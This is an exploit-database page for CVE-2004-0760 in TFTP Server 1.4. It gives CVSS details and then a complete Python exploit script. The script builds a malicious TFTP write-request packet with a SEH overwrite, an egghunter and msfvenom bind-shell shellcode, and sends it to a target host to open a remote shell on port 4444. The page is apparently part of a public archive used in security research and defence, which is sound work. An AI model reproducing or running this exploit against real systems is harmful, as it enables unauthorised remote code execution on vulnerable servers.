Exploitalert - Database of Exploits

TFTP Server 1.4 WRQ Buffer Overflow

CVE	Category	Price	Severity
CVE-2004-0760	CWE-119	$500	High

Author	Risk	Exploitation Type	Date
sethioz	High	Remote	2016-07-22

CPE
cpe:cpe:/a:tftp-server-project:tftp-server:1.4

CVSS	EPSS	EPSSP
CVSS:7.5/AV:N/AC:LOW/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2016070166

TFTP Server 1.4 WRQ Buffer Overflow# Exploit Title: [TFTP Server 1.4 - WRQ Buffer Overflow Exploit [Egghunter]] # Exploit Author: [Karn Ganeshen] # Vendor Homepage: [http://sourceforge.net/projects/tftp-server/] # Version: [1.4] # Tested on: [Windows Vista SP2] # # Coded this for Vista Ultimate, Service Pack 2 # 3-byte overwrite + short jump + Egghunter # Standalone mode # # Couple of overflow exploits already here for this tftp, none for Vista SP2 + Egghunter: # http://www.exploit-db.com/exploits/5314/ # http://www.exploit-db.com/exploits/10542/ # http://www.exploit-db.com/exploits/5563/ # https://www.exploit-db.com/exploits/18345/ # #!/usr/bin/python import socket import sys host = '192.168.49.187' port = 69 try: s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) except: print "socket() failed" sys.exit(1) # msfvenom -p windows/shell_bind_tcp LHOST=192.168.49.187 -b \x00 EXITFUNC=seh -f c -e x86/alpha_mixed # Payload size: 718 bytes shellcode = ( "\x89\xe5\xd9\xcf\xd9\x75\xf4\x5d\x55\x59\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32" "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" "\x59\x6c\x48\x68\x4f\x72\x75\x50\x63\x30\x33\x30\x33\x50\x6f" "\x79\x59\x75\x35\x61\x6f\x30\x51\x74\x6c\x4b\x42\x70\x46\x50" "\x6e\x6b\x62\x72\x66\x6c\x6c\x4b\x73\x62\x56\x74\x6c\x4b\x43" "\x42\x45\x78\x66\x6f\x58\x37\x73\x7a\x56\x46\x54\x71\x4b\x4f" "\x6e\x4c\x45\x6c\x50\x61\x51\x6c\x33\x32\x74\x6c\x61\x30\x4b" "\x71\x68\x4f\x74\x4d\x63\x31\x39\x57\x58\x62\x68\x72\x76\x32" "\x71\x47\x4e\x6b\x52\x72\x64\x50\x4c\x4b\x30\x4a\x45\x6c\x6c" "\x4b\x30\x4c\x36\x71\x50\x78\x68\x63\x70\x48\x76\x61\x6b\x61" "\x43\x61\x4e\x6b\x61\x49\x45\x70\x63\x31\x48\x53\x4c\x4b\x72" "\x69\x35\x48\x38\x63\x77\x4a\x77\x39\x6c\x4b\x65\x64\x4c\x4b" "\x67\x71\x58\x56\x75\x61\x4b\x4f\x6c\x6c\x69\x51\x7a\x6f\x76" "\x6d\x65\x51\x39\x57\x45\x68\x4d\x30\x34\x35\x6a\x56\x45\x53" "\x53\x4d\x5a\x58\x47\x4b\x53\x4d\x77\x54\x43\x45\x4d\x34\x73" "\x68\x6c\x4b\x61\x48\x57\x54\x46\x61\x6b\x63\x61\x76\x6c\x4b" "\x74\x4c\x42\x6b\x4c\x4b\x30\x58\x57\x6c\x75\x51\x79\x43\x4c" "\x4b\x33\x34\x6e\x6b\x46\x61\x4e\x30\x4b\x39\x73\x74\x56\x44" "\x65\x74\x63\x6b\x43\x6b\x63\x51\x52\x79\x53\x6a\x66\x31\x59" "\x6f\x6b\x50\x33\x6f\x33\x6f\x32\x7a\x6e\x6b\x35\x42\x78\x6b" "\x4e\x6d\x43\x6d\x62\x48\x37\x43\x46\x52\x37\x70\x35\x50\x61" "\x78\x72\x57\x64\x33\x45\x62\x71\x4f\x56\x34\x53\x58\x32\x6c" "\x63\x47\x34\x66\x46\x67\x4b\x4f\x6a\x75\x4e\x58\x4e\x70\x43" "\x31\x75\x50\x35\x50\x31\x39\x6f\x34\x72\x74\x70\x50\x55\x38" "\x56\x49\x4f\x70\x30\x6b\x47\x70\x69\x6f\x48\x55\x71\x7a\x36" "\x68\x51\x49\x70\x50\x4a\x42\x4b\x4d\x61\x50\x76\x30\x33\x70" "\x36\x30\x35\x38\x69\x7a\x64\x4f\x59\x4f\x6b\x50\x39\x6f\x4b" "\x65\x7a\x37\x73\x58\x43\x32\x63\x30\x56\x71\x71\x4c\x6c\x49" "\x69\x76\x71\x7a\x64\x50\x53\x66\x72\x77\x73\x58\x4a\x62\x79" "\x4b\x50\x37\x65\x37\x39\x6f\x6b\x65\x36\x37\x42\x48\x48\x37" "\x4b\x59\x47\x48\x6b\x4f\x39\x6f\x4b\x65\x51\x47\x51\x78\x50" "\x74\x5a\x4c\x65\x6b\x79\x71\x69\x6f\x6a\x75\x51\x47\x4f\x67" "\x53\x58\x61\x65\x32\x4e\x32\x6d\x70\x61\x49\x6f\x69\x45\x61" "\x78\x72\x43\x32\x4d\x30\x64\x43\x30\x4b\x39\x4a\x43\x70\x57" "\x53\x67\x72\x77\x64\x71\x48\x76\x31\x7a\x52\x32\x42\x79\x52" "\x76\x38\x62\x69\x6d\x65\x36\x4b\x77\x37\x34\x61\x34\x47\x4c" "\x57\x71\x45\x51\x6c\x4d\x77\x34\x44\x64\x72\x30\x78\x46\x53" "\x30\x67\x34\x33\x64\x32\x70\x70\x56\x73\x66\x42\x76\x62\x66" "\x46\x36\x30\x4e\x63\x66\x46\x36\x42\x73\x62\x76\x52\x48\x71" "\x69\x38\x4c\x35\x6f\x6e\x66\x79\x6f\x49\x45\x4c\x49\x4b\x50" "\x52\x6e\x43\x66\x30\x46\x59\x6f\x54\x70\x62\x48\x34\x48\x6c" "\x47\x35\x4d\x55\x30\x39\x6f\x38\x55\x4f\x4b\x59\x6e\x34\x4e" "\x76\x52\x59\x7a\x73\x58\x6d\x76\x6c\x55\x4d\x6d\x4d\x4d\x4b" "\x4f\x6e\x35\x47\x4c\x63\x36\x71\x6c\x45\x5a\x4f\x70\x49\x6b" "\x59\x70\x74\x35\x76\x65\x4d\x6b\x50\x47\x32\x33\x32\x52\x30" "\x6f\x62\x4a\x45\x50\x66\x33\x69\x6f\x4e\x35\x41\x41") # PPR - 0x0040CC22 - in TFTPServerSP.exe # 3-byte overwrite jump_one = "\xEB\xDB\x90\x90" # negative jump back egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a" #WOOT "\x02\x58\xcd\x2e\x3c\x05\x5a\x74" "\xef\xb8\x54\x30\x30\x57\x8b\xfa" "\xaf\x75\xea\xaf\x75\xe7\xff\xe7") filename = "\x90"*734 + "T00WT00W" + shellcode + "\x90"*10 + egghunter + "\x90"*10 + jump_one + "\x22\xCC\x40" mode = "netascii" evil = "\x00\x02" + filename + "\x00" + mode + "\x00" print "[*] Sending evil packet, ph33r" s.sendto(evil, (host, port)) print "[*] Check port 4444 for bindshell"

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